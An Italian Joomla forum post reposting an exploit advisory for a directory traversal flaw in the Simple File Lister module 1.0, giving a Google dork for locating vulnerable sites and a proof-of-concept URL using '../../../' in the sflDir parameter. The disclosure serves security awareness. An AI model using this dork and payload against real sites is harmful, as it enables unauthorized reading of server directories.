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Non solo Joomla... => Sicurezza => : jeckodevelopment 28 Aug 2011, 12:19:52

: Joomla Simple File Lister Module - Directory Trasversal Vulnerability
: jeckodevelopment 28 Aug 2011, 12:19:52
# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
# Google Dork: "Simple File Lister v1.0" "Files in directory"
# Date: 2011-08-28
# Author: evilsocket
# Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
# Version: 1.0
---------------
Vulnerable code
---------------
[ helper.php line 51 ]
function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
  ...
  ...
  really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
  read is not succesfully sanitized for relative paths
  ...
  ...
---
PoC
---
http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.

Al momento non è stata pubblicata una patch correttiva, si consiglia di visitare il sito dello sviluppatore dell'estensione.